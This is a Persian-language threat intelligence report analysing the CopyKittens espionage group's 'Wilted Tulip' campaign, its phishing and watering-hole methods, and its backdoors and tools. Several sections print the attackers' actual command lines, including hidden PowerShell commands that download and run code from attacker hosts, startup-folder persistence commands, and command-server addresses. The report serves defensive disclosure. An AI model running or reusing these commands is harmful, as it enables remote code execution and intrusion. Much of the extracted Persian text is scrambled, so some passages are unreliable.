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 ایبری لایه پژمردهعملیات سعنوان سند: بررسی و تحلیل 
 SPT-A-0140-00شناسه سند: 

 کننده: گروه تحقیق و توسعه، شرکت مهندسی شبکه گسترتهیه
 1396 مرداد 10تاریخ ویرایش: 

 .باشدمیحق تکثیر: کلیه حقوق این سند برای شرکت مهندسی شبکه گستر محفوظ است. بازنشر مطالب صرفاً با ذکر نام "شرکت مهندسی شبکه گستر" مجاز 
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 CopyKittens تیدر حال فعال قبلسال  حدود چهار است که از یبر یسا یگروه جاسوس کی 

 منابع از نفوذگران ایرانی با ی متشکلگروه CopyKittensبرخی کارشناسان معتقدند  بوده است.
 یبرا Minervaو  ClearSky یهاشگاهیآزما 1394آذر در  .توجه است قابل هایزیرساخت و

گروه منتشر  نیدر مورد ا یگر یگزارش د ClearSky، 1396 فروردین ماهگروه را افشاء کردند. در  نیا تیفعال یگزارش یبار ط نینخست
 .گرفتیرا در بر م آنها هایتیاز فعال یشتر یکرد که شواهد ب

اند که به گفته آنها شامل منتشر کرده 1396در مرداد ماه  ClearSky و TrendMicro گروه را دو شرکت نیگزارش در خصوص ا نیآخر
 .استمنتشر نشده  ایناز  شیاست که تا پ ییمستندات و رخدادها

و عملکرد  مهاجمان یفرمانده یسرورها یهارساختیز ،ییجوبهره یهاروش د،یجد یبدافزارها یآمده بررسمذکور در گزارش  آنچه
 .کنندیاد می –به معنای لاله پژمرده  – Wilted Tulip با عنوانآن  از دو شرکت نیاست که ا یاتیعمل

 کشورهای و ونیستییهم صرژیگروه  نیاست. اهداف ا کیاز اهداف استراتژ یجاسوس یبر رو CopyKittens گروه یاصل تمرکز
 ادی یو در خارج از کشورها یصورت فردههدف آنها ب یمتحده، اردن و آلمان بوده که البته در موارد الاتیا ه،یترک ،یعربستان سعود

 .است زارش شدهگ زیشده ن

CopyKittens   وابسته  یهاشرکت ها،یشهردار  ،یدفاع یهاسازمان ،یسسات آموزشؤم ،یدولت یهاو سازمان هاوزارتخانهحمله به
معروف و  یهاتیو سا نینلاآ یخبر  یهاگروه از رسانه نی. ارا در کارنامه خود دارد یبزرگ فناور  یهادفاع و شرکت هایخانهوزراتبه 

 .است کردهیاستفاده م انتشار لهیعنوان ابزار و وس معتبر به

هدف  یهامخرب به منظور انتشار بدافزار و رخنه به سازمان نکیل ای وستیبا پ یهااز هرزنامه CopyKittens زیها ننمونه یبرخ در
هک شده متعلق به  یحساب کاربر  کی قیآلوده به بدافزار از طر یلیمیرد امو کیمثال، در  یاست. برا کردهقرار گرفته شده استفاده 

 یادر نمونه ای. هارسال شد ایدر سراسر دن یدولت یهاسازمان ریبه سا یترک قبرس شمال یجمهور وزرات امور خارجه  یکی از کارکنان
خود استفاده  های مهندسی اجتماعیدر تکنیکشده باشد سرقت  هیاز وزارت امور خارجه ترک رسدیکه به نظر م یگروه از سند نیا گر،ید

 .کرده است

 یجعل یکاربر  یهاحساب جادیاقدام به ا ،خود انیاعتماد با قربان جادیآلوده و ا یهانکیبا هدف انتشار ل، CopyKittens نکهیا ضمن
 .اندداشته تیسال فعال نیبه مدت چند یکاربر  یهاحساب نیاز ا یاست. برخ نموده زین Facebook یدر شبکه اجتماع

 کرده است.های مشابه با نام اصلی استفاده میشود این گروه با ظرافتی خاص از نامهمانطور که در این گزارش اشاره می

اسناد، صفحات گسترده،  همچون یسازمان یهااطلاعات و داده یآور جمع در پیر حملات خود د CopyKittens آنچه مشخص است
 .بوده استداده  یهاگاهیو پا یکربندیپ یهالیفا ،یشامل اطلاعات شخص یهالیفا

 است. مورد بررسی و تحلیل قرار گرفته جزییات عملیات موسوم به لاله پژمردهدر این گزارش 
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 انـتـشـار

 :کندیخود استفاده مهای هدف منظور رخنه به دستگاهبه ریز یهااز روش CopyKittens گروه

 آلوده کد قیتزر – سوراخ آبیاری حملات JavaScript و مهم کیاستراتژ یهاتیبه سا 
 شده توسط مهاجمان است جادیآلوده ا یهاتیبه سا نکیکه شامل ل ییهالیمیارسال ا – بر وب یمبتن 1ییجوبهره. 
 یهاوستیپ اب یهالیمیارسال ا – اسناد آلودهMicrosoft Office  آلوده 
 ها دراشخاص و سازمان یاستفاده از صفحات جعل – یاجتماع یهاشبکه در یجعل یکاربر  یهاحساب Facebook یبرا 

 اطلاعات از آنها یآور تعامل با اهداف و جمع
 یاستفاده از ابزارها – هاتینفوذ به سا Havij ،Acuntix  وSQLMap ینترنتیا یهاتیاز سا ییجوو بهره ییشناسا یبرا 

 2سوراخ آبیاری حملات

سایت و   Maarivروزنامهسایت  ،Jerusalem Postروزنامه  از جمله سایت تیسا نیاز نفوذ به چند ClearSky، 1396فروردین  10در 
در صفحات  JavaScript نوشته شده به زبان های مخربکددر جریان این حملات، خبر داد.  3لیارتش اسرائ سربازان معلولسازمان 
 د.شدنتحت کنترل مهاجمان هدایت می جوهایبازدیدکنندگان به بهره در نتیجه آن هک تزریق شدسایت 

 
 Maarivآلوده اضافه شده به سایت  اسکریپت – 1شکل 

 کند:اشاره میزیر  هاینشانییکی از  بهآلوده  نمایش داده شده اسکریپت 1ها، همانطور که در شکل برای مثال در یکی از نمونه

 https://js.jguery[.]net/jquery.min.js 
 https://js.jguery[.]online/jqueryui.min.js 

 جعل شده است.  jqueryنام ای بطور هوشمندانهکنند به آن اشاره میها نشانی ای که ایندر نامگذاری دامنه

با نمایش صفحات  – 4سنجیاز روی دستگاه قربانی، دریافت اطلاعات محرمانه اصالتآوری اطلاعات جمع قادر به مهاجمانبا این روش 
 Metasploitهای موجود در جوآلوده کردن سیستم با استفاده از بهره و شناسایی شبکه های اصلی و همچنینجعلی با ظاهر سایت

 اساس فهرستی از براین امر  احتمالاً که شده اند، اجرا میکردهاص از سایت بازدید می. کد آلوده فقط زمانی که اهداف خبودندو غیره 
 افتاده است.اتفاق می IP هاینشانی

                                                           
1 Exploit  
2 Watering Hole  
3 IDF Disabled Veterans Organization  
4 Credential  

https://js.jquery[.]net/jquery.min.js
https://js.jquery[.]online/jqueryui.min.js
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 بر وب یمبتن ییجوبهره

هک  یواقع یاند. با استفاده از حساب کاربر اشخاص مرتبط با سازمان هدف نفوذ کرده لیمیا یدو مورد، مهاجمان به حساب کاربر  در
مخرب که توسط مهاجمان ثبت  تیسا کیبه  ینکیل یارسال یهالیمیاند و به اانجام شده با سازمان پاسخ داده یبه مکاتبات قبله شد
 .انداضافه کرده ،شده جادیو ا

 primeminister-goverment-techcenter[.]tech 

 IPنصب شده بر روی آن یا نشانی  5هاینظیر افزونه – هکنندد یمرورگر بازد ثبت اطلاعات یبرا که JavaScriptهای برخی اسکریپت
رسد هدف مهاجمان از . به نظر میاندشده قابل دسترس هستند کپی یعموم ی که بطوراز منابعاند مورد استفاده قرار گرفته – ستگاهد

 بوده است.شناخته شده  یهایر یپذبیاز آس ییجوبهره هابکارگیری این اسکریپت

 
 اندفهرست شده JavaScriptمرورگر که توسط کد نصب شده بر روی  هایهافزون – 2شکل 

 
 دستگاه IP نشانی شناسایی – 3شکل 

                                                           
5 Plugin  



 7|      ه پژمردهعملیات سایبری لالبررسی و تحلیل  

 اسناد آلوده

 اند:از اسناد آلوده در حملات خود استفاده کرده روش به سهمهاجمان 

 جوی بهرهCVE-2017-0199 
  اشیاءOLE 
 ماکروها 

های آلوده ت انجام شود )ممکن است تعامل با کاربر نیاز باشد(، مهاجمان از طریق برنامهجویی با موفقیاگر قربانی سند را باز کند و بهره
 کنند.خود یا بدافزارهای عمومی به سیستم کاربر دسترسی پیدا می

 CVE-2017-0199جوی بهره

 ک کارمند وزراتی هک شدهاز حساب کاربری  IRAN NORTH-KOREA RUSSIAبا عنوان ، یک ایمیل آلوده 1396اردیبهشت  6در 
های مرتبط با وزرات امور خارجه سسات دولتی چندین کشور و سایر سازمانؤبه فهرستی از می ترک قبرس شمال یجمهور  امور خارجه

 کشورها ارسال شد.

 :بودهای زیر ارسال شده دامنهبا ایمیل به کاربران 

 mofa.gov.vn 
 mfa.gov.sg 
 mfa.gov.tr 
 post.mfa.uz 
 mfa.am 
 mfa.gov.by 
 beijing.mfa.gov.il 
 mofat.go.kr 
 mfa.no 
 mofa.go.jp 

 athens.mfa.gov.il 
 riga.mfa.sk 
 amfam.com 
 emfa.pt 
 mfa.gov.il 
 mfa.gov.mk 
 bu.edu 
 us.mufg.jp 
 cyburguide.com 
 newdelhi.mfa.gov.il 

 hemofarm.co.yu 
 mfat.govt.nz 
 mfa.gr 
 mfa.gov.lv 
 mfa.gov.ua 
 mfa.go.th 
 mfa.gov.bn 
 mfa.ee 
 sbcglobal.net 
 mfa.is
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 یترک قبرس شمال یکارمند وزرات امور خارجه جمهور  کیهک شده  یاز حساب کاربر نمونه ایمیل ارسالی از سوی  – 4شکل 

 
 یترک قبرس شمال یکارمند وزرات امور خارجه جمهور  کیهک شده  یاز حساب کاربر نمونه پیوست ایمیل ارسالی از سوی  – 5شکل 

 د:شودریافت می RTFدر قالب  اجرا شده و از نشانی زیر فایلی CVE-2017-0199جوی بهرهبا باز شدن فایل پیوست، 

 update.microsoft-office[.]solutions/license.doc 

 کند:میاز نشانی زیر دریافت کرده و آن را اجرا را  VBAت پرییک اسک نیز خود RTFفایل 

 http://38.130.75[.]20/check.html 

 کند:زیر ارتباط برقرار می نشانیو با  شدهاجرا  Cobalt Strikeسپس 

 aaa.stage.14043411.email.sharepoint-microsoft[.]co 

 شده است. ارسال VirusTotal به سایتاز فلسطین اشغالی  6فایل نمایش داده شده در شکل در مورد دیگری، 

http://38.130.75[.]20/check.html
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 .…یل استفاده شده توسط گروه نمونه ای از فا – 6شکل 

 :کندنشانی زیر دریافت میاز  را RTF یک سندمذکور نیز فایل 

 http://update.microsoft-office[.]solutions/license.doc 

 :شوددریافت و سپس اجرا میزیر  نشانیاز   Cobalt Strike، فایلVBA در ادامه، با اجرا شدن کدی

 http://38.130.75[.]20/error.html 

 کند.ارتباط برقرار می gsvr-static[.]coبا  DNSاز طریق نمونه این 

 
 DNSای ـهتـواسـه درخـونـمـن – 7شکل 

 :اندزیر دریافت شده هاینشانیاز  pictures.docو  omnews.docهای ه به نامآلود یدر مورد دیگری، مستندات

 http://fetchnews-agency.news-bbc[.]press/en/20170/pictures.doc 
 http://fetchnews-agency.news-bbc[.]press/omnews.doc 

http://update.microsoft-office[.]solutions/license.doc
http://38.130.75[.]20/error.html
http://fetchnews-agency.news-bbc[.]press/omnews.doc


  ه پژمردهعملیات سایبری لالبررسی و تحلیل |      10

 کنند:دریافت میزیر  نشانیرا از  VBS یاسکریپت مذکورهای ایلف

 http://fetchnews-agency.news-bbc[.]press/pictures.html 

 کند:با نشانی زیر ارتباط برقرار میشده و اجرا  Cobalt Strikeسپس 

 a104-93-82-25.mandalasanati[.]info/iBpa 

 OLEاشیاء 

نگارش شد کننده خواسته میبرای اهداف ارسال شد که در آن از دریافت ایمیل طریق از ssl.docxیک سند با عنوان  2017در فوریه 
VPN Client  روز کند.یک راهنما بهخود را با استفاده از 

 
 .کندروز هخود را ب VPN Client خواهدمی از قربانیکه آلوده  یمحتوای سند – 8شکل 

در شود. است که با نویسه معکوس فایل اجرا می OLEیک اشاره شده  Check Point که در نام آن نیز به شرکت امنیتی مذکورفایل 
checkpointsslvpn?fdp.exe ، نویسهیک  ”?“علامت Unicode  به صورتو آن را  دادهنامرئی است که جهت رشته را تغییر 

”exe.pdf“ دهدنمایش می .OLE فایل و یک 6فایل اجرایی خود استخراجییک  -، از دو فایل مذکور PDF – .تشکیل شده  است 

 
 فایل اجرایی و فایل پیوست شده – 9شکل 

 شوند:این دو فایل از طریق دستورات زیر اجرا می

cmd.exe /c copy zWEC.tmp %userprofile%\desktop\Maariv_Tops.pdf&&copy Ma_1.tmp 

"%userprofile%\AppData\Roaming\Microsoft\Windows\Start 
Menu\Programs\Startup"\sourcefire.pif&&cd %userprofile%\desktop&&Maariv_Tops.pdf 

                                                           
6 Extractor-Self  

http://fetchnews-agency.news-bbc[.]press/pictures.html
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 معروفهای روزنامهکه یکی از  Maarivدر زمان آلوده کردن سیستم قربانی محتوایی شامل یک مطلب کپی شده از سایت  PDFفایل 
 دهد.است، نمایش میی ستیونیصهرژیم 

 
 کپی شده است Maarivکه از سایت  PDFمحتوای آلوده فایل  – 10شکل 

نامه سرقت شده از شرکت یگواه کیشود که توسط یم زین p.exeبه نام  گرید ییاجرا لیفا کیشامل  یخود استخراج ییاجرا لیفا
 شده است. تالیجید یامضا Al Squaredمعتبر 

 
 p.exeامضای دیجیتال  – 11شکل 

 موضوعی کهنیز مورد استفاده قرار گرفته است.  OilRigاین گواهی دیجیتال توسط گروه نفوذگر دیگری به نام که این نکته قابل توجه
 .تواند بیانگر ارتباط این دو گروه باشدمی

 کند:را اجرا میو دستورات زیر کرده فایل اجرایی خود استخراجی همانند یک دریافت کننده عمل 

cmd.exe /c powershell.exe -nop -w hidden -c "((new-object net.webclient).downloadstring('http://jpsrv-
java-jdkec2.javaupdate[.]co:80/JPOST’))” 

 ند.کرا در حافظه بارگذاری می Cobalt Strikeو  کردهرا ارسال  PowerShellیک اسکریپت کوتاه  دهیسرور فرمان
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 .کندرا در حافظه بارگذاری می Cobalt Strikeکه  PowerShellکد  – 12شکل 

 
 کد اجرایی که سفیر کاربر و آدرس سرور فرمان – 13شکل 

 :خوردبه چشم می shiranz ای با عنوانکلمهو فایل اجرایی  docx یا مسیر فایل Metadataبخش  در

 LastModifiedBy shiranz 
 C:\Users\shiranz\Desktop\checkpointsslvpn?fdp.exe 
 C:\Users\shiranz\AppData\Local\Temp\checkpointsslvpn?fdp.exe 

ت شده امور خارجه ترکیه سرق این سند از وزرات رسد کهبه نظر می آلوده به زبان ترکی است. PDFدر یک نمونه دیگر، محتوای فایل 
 باشد.
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 یسند فریب دهنده به زبان ترک – 14شکل 

 شوند:شود، دستورات زیر اجرا میآلوده باز می PDFهنگامی که سند 

cmd.exe /c copy Ma_1.tmp "%userprofile%\AppData\Roaming\Microsoft\Windows\Start 
Menu\Programs\Startup"\CheckpointGO.pif&& copy sslvpn.tmp 
%userprofile%\desktop\sslvpnmanual.pdf&& cd %userprofile%\desktop&& sslvpnmanual.pdf cmd.exe /c 
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://jpsrv-java-
jdkec2.javaupdate[.]co:80/Sourcefire'))" 

 ماکروهای مخرب

 با هدف بررسی شناسایی شدن آنها توسط محصولات ضدویروس احتمالاً مهاجمان چندین فایل حاوی ماکروی مخرب را  2016در اکتبر 
 نمایش داده شده است. 15ارسال کردند که نمونه یکی از آنها در شکل  VirusTotalبر روی سایت 

 
 استفاده شده است. CopyKittensنمونه از فایل حاوی ماکروی مخرب که توسط  – 15شکل 

 کند:. کد مذکور نیز خود با نشانی زیر ارتباط برقرار میکندمی Cobalt Strike در این نمونه فایل، ماکرو اقدام به اجرای کد

 wk-in-f104.1c100.n.microsoft-security[.]host 
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 مجهز به Wordیک فایل نیز گزارش شده که کار آنها اجرای  اندمورد استفاده قرار گرفته توسط این گروه کهاجرایی  یهاینمونه فایل
 .بوده است محتوای عبریبا ماکوری مخرب و 

 
 استفاده شده است. CopyKittensنمونه از فایل حاوی ماکروی مخرب که توسط  – 16شکل 

 د:کنکه فرمان زیر را اجرا می استحاوی ماکرویی نیز مذکور  Wordفایل 

cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object 
System.Net.WebClient).DownloadFile('http://pht.is.nlb-deploy.edge-dyn.e11.f20.ads-youtube. 
online/winini.exe','%TEMP%\XU.exe');&start %TEMP%\XU.exe& exit 

 است. Madshi نوانبا ع مجاز رفع اشکالکه یک ابزار  کندنیز بر روی دستگاه کپی می d5tjo.exeهمزمان فایل اجرایی فایلی با نام 

 های اجتماعیهای کاربری جعلی در شبکهحساب

هایی به یک سایت در منظور انتشار لینکبه Facebookدر شبکه اجتماعی  حساب کاربریاز چندین  CopyKittens، 2013در سال 
نشان داده شده است مطالبی  18 و 17 در تصاویرهمانطور که . استفاده کرد Haaretzظاهر متعلق به یک روزنامه اسرائیلی با نام 

 ،در صورتی که نام دامنه واقعی. شداشاره می haarettz.co[.]ilبه نشانی  در آنها کاربری منتشر شده بود کههای حساباین توسط 
haarettz –  با یکt – .است 

 
 CopyKittens ای از حساب کاربری استفاده شده توسط گروه ؛ نمونهErik Brown – 17شکل 

 

 
 CopyKittensای از حساب کاربری استفاده شده توسط گروه ؛ نمونهAmanda Morgan – 18شکل 

تا اندکی پیش فعال  Amanda Morgan، حساب کاربری یتی نداشتهفعال 2015از سپتامبر  Erik Brown حساب کاربریدر حالی که 
 .داشت لسطین اشغالیفدر  کنندهو دنبال دوستهزاران  این حساب کاربری. بوده است

 کرده بود. اشاره Emet pressبه صفحه در قالب مطلبی  Amanda Morgan، 2015در سال 
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 Amanda Morganتوسط حساب کاربری  Emet pressای با عنوان اشاره به صفحه – 19شکل 

آوری کننده خبر غیرمتعصب توسط یک جمع –در زبان عبری به معنای "حقیقت" است  Emet press – Emet ،در صفحه مذکور
آنها باشد اصلی زبان  افرادی که عبریتوسط  آنهای نوشتهرسد که به نظر نمیاما  شده است. معرفیجویان اسرائیلی مقیم خارج دانش

 باشد.شده  گارشن

 
 Facebookدر  Emet pressصفحه  – 20شکل 

نشانی  کرده است. سایتی باتا حدود یک سال قبل بازنشر می را های آنلاین عبریسایت مطالباین صفحه 
www.emetpress[.]com کرده است.نیز محتوایی مشابه را منتشر می 

 
 Emet press سایت – 21شکل 

شده است. نبه صورت عمومی استفاده  ، حداقلانتشار محتوای مخرب و جعلی مذکور به منظورسایت از و نه  Facebookصفحه از نه 
های خصوصی های مخرب در قالب پیامی ارتباط با اهداف و شاید ارسال فایلشود که هدف این صفحات صرفاً برقرار احتمال داده می

 ارائه نشده است. مواردبوده باشد. هر چند که شواهدی از این 
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این نشانی  کند.معرفی میسایت دهنده را به عنوان توسعه www.novinwebgostar.comکه  استدر کد منبع سایت توضیحاتی 
 است. گسترنوين وبا نام ب در استان گلستان متعلق به شرکتی ایرانی

 
 Emet pressسایت  www.novinwebgostar.comاشاره به نشانی  – 22شکل 

 وب فوذنابزارهای 

CopyKittens جویی و تزریق کد در های وب و بهرهپذیریاز ابزارهای زیر به منظور پویش آسیبSQL :استفاده کرده است 

 Havij ابزار خودکار تزریق :SQL یرانی که توسط شرکت اITSecTeam  .توسعه داده شده استHavij  رایگان بوده و دارای
 شود.پذیری استفاده میو ارزیابی آسیب SQLابزار عمدتاً برای تزریق کد این رابط کاربری گرافیکی است. از 

 apSQLMذ است که پروسه نفو آزمونبرای  7: یک ابزار خودکار تزریق کد و در کنترل گرفتن پایگاه داده است. ابزاری کدباز
این ابزار قادر به کند. را خودکار میو در دست گرفتن پایگاه داده  SQLهای تزریق کد پذیریجویی از آسیبشناسایی و بهره

اجرای فرامین بر روی سیستم  و دسترسی به سیستم فایل ،ها از بانک دادهپایگاه داده، خواندن داده شناسایی مشخصات
 ات از راه دور است.از طریق ارتباط، همگی عامل

 Acunetixهای امنیتی تزریق کد پذیری است. این ابزار قادر به شناسایی ضعف: یک پویشگر تجاری آسیبSQL ،XSS ،
XXE ،SSRF ،Host Header Injection  وب دیگر است.پذیری هزار آسیب 3و بیش از 

 اند که مایکروسافت و گوگل را جعل کنند.ن سعی داشتهای خودامضا در برخی از سرورهایشااین مهاجمان با ایجاد گواهینامه

 اـزارهـدافـب

TDTESS 

TDTESS ،8پشتییک درب NET.  فراهم بر روی دستگاه آلوده شده را ها و اجرای فایل دریافت امکانبیتی است که  64با معماری
کند. فرامین دریافت می هاای فرامین را از آنسنجی پایهای با سرورهای فرماندهی ارتباط برقرار کرده و با یک اصالتکند. بطور دورهمی

 سیستم عامل  Service Managerکند که در بخش شوند. بدافزار سرویسی مخفی را ایجاد میاز طریق یک صفحه وب ارسال می

                                                           
7 source-Open  
8 Backdoor  
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Windows  و سایر ابزارهایی که ازWINAPI  یاWindows Management Instrumentation قابل مشاهده کنند استفاده می
 .یستن

 نصب و عزل

TDTESS در قالب سرویس( اجرا شود. در صورت فراخوانی به صورت  غیرتعاملی هم به صورت و تعاملیتواند هم به صورت می(
کند. این برای حذف خود را دریافت می uninstalltheserviceبرای نصب خود یا  installtheservice مشخصهیکی از دو  تعاملی

 اند.در ادامه شرح داده شده هامشخصه

installtheservice 
 گردد:های زیر ایجاد میسرویسی با ویژگی Administratorدر صورت اجرا با سطح دسترسی 

Key name: bmwappushservice 

Display name: bmwappushsvc 

Description: WAP Push Message Routing Service 

Type: own (runs in its own process) 

Start type: auto (starts each time the computer is restarted and runs even if no one logs on to the 

computer) 

Path: <main executable path> (In our analysis: c:\Users\PC008\Desktop\t.exe) 

Security descriptor: 

D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLC 

SWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU
;F 

A;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) 

 

 
 مشخصات سرویس در خط فرمان – 23شکل 
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در سطح حتی اگر دسترسی  اری است. کاربرنیکی برای ماندگکه در کد بدافزار تزریق شده تک Security Descriptorبخش 
Administrator  را نیز داشته باشد قادر به متوقف کردن یا حتی مشاهده سرویس در بخشservices.msc بطور کلی  .نخواهد بود

 :این سرویس اجرا کرد ر رویبتوان را نمیفرامین زیر 

 service_change_config 
 service_query_status 
 service_stop 
 service_pause_continue 
 delete 

 
 مشخصات سرویس در محضرخانه – 24شکل 

ه بازگردانی شدهای نمونه از لاگدو شوند. حذف می بدافزارتوسط  که البتهد گردنهای لاگ نیز ایجاد میدر حین نصب سرویس فایل
 نمایش داده شده است. 26و  25 هایدر شکل

 
 InstallUtil.InstallLogمحتوای فایل  – 25شکل 

 

 
 filename>.t.InstallLog>محتوای فایل  – 26شکل 
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 کند.فایل زیر تغییر میاخت سبه تاریخ و زمان  آن پس از ایجاد سرویس، تاریخ و زمان ساخت

 %windir%\system32\svchost.exe 

uninstalltheservice 

 installtheserviceمشابه  ، سرویس مذکور حذف خواهد شد.Administratorبا سطح دسترسی ی این مشخصه ر صورت اجراد
 .گردندشوند که در ادامه توسط برنامه حذف میهای لاگی ایجاد میدر حین حذف نیز فایل

 
 InstallUtil.InstallLogمحتوای فایل  – 27شکل 

 

 
 InstallUtil.InstallLogمحتوای فایل  – 28شکل 

 ند.کارائه نشود، برنامه خود را متوقف می ایمشخصهدر صورتی که 
 

 عملکرد

به نشانی  HTTP Headکند. پس از پنج دقیقه با ارسال یک درخواست خود را اجرا می ،محض اتمام فرآیند نصباین سرویس ب
Microsoft.com کند.وضعیت اتصال به اینترنت را بررسی می 

 
 که در کد بدافزار تزریق شده است URL HTTPها و نشانی مشخصه – 29شکل 
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 کند تا با دسترسی یافتن به سرور فرماندهی فرامین را دریافت کند.می در ادامه تلاش

 دریافت کند: Base64 در قالب انتظار دارد تا یکی از فرامین زیر را به صورت رمز شده TDTESSبه عنوان پاسخ، 

 getnrun – آن عبارتند از  هایشخصهمکند. یک فایل را دریافت و اجرا میdrop ،drop_path  وt 
 runnreport – آن  هایشخصهمکند. در خصوص کامپیوتر ارسال می را اطلاعاتیcmd  وboss .هستند 
 wait – کند.ها تعیین میبعدی را برای دریافت داده یبازه زمان 

Vminst 

Vminst  سنجی سرقت شده اطلاعات اصالت گیریبکار سازی نقاط پایانی شبکه با که از آن برای آلوده پس از حمله استیک ابزار
 کند.های آلوده شده تزریق میرا به دستگاه Cobalt Strike ،شود. این ابزاراستفاده می

د. زمانی که در قالب یک سرویس کننصب میآن  sdrsrvاندازی کرده و در قالب سرویسی با نام را راه ServiceMain یک ،کد مخرب
تزریق کرده یا یک  –بیتی است  32با معماری  svchostکه یک  –را در پروسه خود  Cobalt Strikeشود بخش ابتدایی اجرا می
 دریافت شده در زمان ایجاد مشخصهکند. روش تزریق به و بخش ابتدایی را به آن تزریق می نمودهایجاد را  rundll32بیتی  32پروسه 

 سرویس بستگی دارد.

از راه دور جدید  9رشته اجراییو یک  ردهکدر حالت تعلیق باز  را جدید 32rundllوسه به نحوی پیکربندی شده که یک پراین بدافزار 
 کند ایجاد کند.اجرا می کد دیگری رایا  Cobalt Strikeرا که یک بخش ابتدایی 

در قالب  ایرشته vاز طریق تابعی با عنوان تواند حافظه اجرا کند. ضمن اینکه میدر کد مخرب این قابلیت را داراست که خود را 
Base64 شود دریافت کند.را که به صورت زیر ایجاد می 

 Base-64-Encode(“/mv /OptionalCommand”) 

ها را شناسایی کرده و سعی سگمنتزیر شود. با استفاده از فرمان در سطح سازمان منتشر می vminst.tmpبا بکارگیری  این بدافزار
را بر روی هر سرویس اجرا  sdrsrvمتصل شده و سرویس  هادستگاهبه  GetFileAttributesو تابع  SMBاز طریق  تاخواهد کرد 

 کنند.

 rundll32 vminst.tmp,v /mv /get ip-segment credentials 
 

NetSrv 

NetSrv های ابتدایی بخشCobalt Strike کند.نی میها فراخوارا بر روی دستگاه ی مربوطهو کدها 

ServiceMain  را که در قالب سرویسی با نام خودnetsrv کند. زمانی که در قالب یک سرویس اجرا سازی میشود پیادهنصب می
 یا کد یبرای اجرای بخش ابتدای از راه دور را رشته اجراییشود و یک باز می تعلیقدر حالت  rundll32شود یک پروسه می

Cobalt Strike کند.یاجرا م 

                                                           
9 Thread  
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دریافت کند. این فرمان به صورت  دنوشتزریق  rundll32همچنین کد مخرب این قابلیت را داراست که مواردی را که باید در پروسه 
 شود:زیر اجرا می

 netsrv.exe /managed /ModuleToInject 

ModuleToInject تواند هر یک از موارد زیر را داشته باشد:می 

 sbdns 
 slbdnsk1 
 slbdnsn1 
 slbsbmn1 
 slbsmbk1 

 د.نکنتزریق می rundll32را در پروسه یا کدهای مربوطه  Cobalt Strikeهر کدام از این موارد بخش ابتدایی 

  Matryoshkaابزار دسترسی از راه دور  1نسخه 

Matryoshka  یک ابزار دسترسی از راه دور است. این ابزار ازDNS ده ندهی استفاسرور فرمابا  رتباطا برقراری به عنوان ابزاری برای
آوری و ، تصویربرداری، ثبت کلیدهای زده شده، جمعOutlookهای همچون سرقت گذرواژه یهای از راه دور کرده و دارای قابلیت

تا ژانویه  2016در فاصله بین جولای   Matryoshkaابزار 1نسخه  . ازباشدیمبه مهاجم  Meterpreterها و دادن دسترسی ارسال فایل
 ه شده است.به صورت عمومی استفاد 2017

که دارای کلیدهای ماندگاری و  Matryoshka.Ratاقدام به تزریق ماژول  Matryoshka.Reflective_Loader ،سخهاین ندر 
 کند.های ارتباطی است میروش

  Matryoshka دور راه از دسترسی ابزار 2 نسخه

. بمحض شروع به کار، ماژول ارتباطی را به ستاتری است؛ اما دارای فرامین کم آن 1نسخه بسیار مشابه Matreyoshk  ابزار 2نسخه 
 کند.میتزریق  – یا کمتر رابرببا معماری اجرایی یکسان و با سطح دسترسی  –در دسترس  یهاهتمامی پروس

خود را  ReflectiveDLL.dllنام دارد.  ReflectiveDLL.dllو  جرا شدهااست. مرحله بعدی، در حافظه  injector.dllآن نام ابتدایی 
 .داشته باشدبر روی دیسک وجود  Injector.dll اجرا کنندهکند که ماندگار کرده و بررسی می ،Schedule Taskاز طریق یک فرمان 

ReflectiveDLL.dll  پودماناز طریق  زیرفرامین قادر به دریافت DNS :است 

 Send full info – ارسال مشخصات دستگاه 
 Beacon – یق کد تزرCobalt Strike 
 MessageBox – نمایش یک پیام 
 Get UID –  ارسالUID 
 Exit – .خروج از رشته اجرایی که به آن تزریق شده است 
 OK_StopParse –  زنجیره فرامینادامه یا پایان دادن 
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ZPP 

ZPP ای مبتنی بربرنامه .NET ریتم ها را با استفاده از الگواست که فایلZIP های قادر است که فایل رنامهبکند. این سازی میفشرده
 از راه دور ارسال کند. های اشتراکیپوشهفشرده شده را به 

 آن بشرح زیر است: هایمشخصه

 i-: هایی که باید فشرده شوند.پسوند فایل 
 s-پوشه منبع : 
 d-پوشه مقصد : 
 gt-تاریخ و زمان بعد از آن : 
 lt-ل از آن: تاریخ و زمان قب 
 o-نام فایل خروجی : 
 e-پسوند استثناء شده : 

 
 در خط فرمان ZPP – 30شکل 

ZPP مشخص شده همخوانی داشته باشد  ها را در پوشه منبع خوانده و در صورتی که نام آنها با الگویای تمامی فایلبه صورت دوره
صورتی که نام فایل خروجی در  شود.ذخیره میفشرده شده در پوشه خروجی  ZIP. فایل کندسازی آنها اقدام مینسبت به فشرده

 .خواهد کرداستفاده  <zpp<random_number>.out. <file_numberاز الگوی  ZPPتعیین نشده باشد، 

 
 در خط فرمان ZPP – 30شکل 

 هستند. دارای باگ آن های فعلیان در حال توسعه باشد. تمامی نسخهنهمچ ZPPبه نظر می رسد 

ZPP کتابخانه  ودهای محدای با قابلیتاز نسخهDotNetZip فایلی با نام کند که در نتیجه آن استفاده میIonic.Zip.Reduced.dll 
 .شودبر روی آن قرار دارد کپی می ZPPنیز بر روی دستگاه آلوده شده در همان مسیری که 

از روی  هاداده آوریجمع باشد که امکاننیز می doCompressInNetWorkDirectoryی با عنوان تابعمجهز به  ZPPهمچنین 
 کند.می را فراهمبه یک پوشه اشتراکی ارسال آنها و دستگاه هدف 

Cobalt Strike 

Cobalt Strike افزار خود به طراحی شده است. در حالی که این نرماجرای عملیات پس از رخنه افزار تجاری است که برای یک نرم
ی توسط تبهکاران سایبر  به کراتانات ارتباطی آن جویی و امکبهره از های پسفاقد هر گونه کد مخرب است اما به دلیل قابلیت ییتنها

 .گرفته استو حملات دولتی مورد استفاده قرار 

CopyKittens  ه رایگانروز 21از نسخه آزمایشی Cobalt Strike روی  برفرماندهی ارتباط با سرور قابلیت  و عمدتاً با هدف بکارگیری
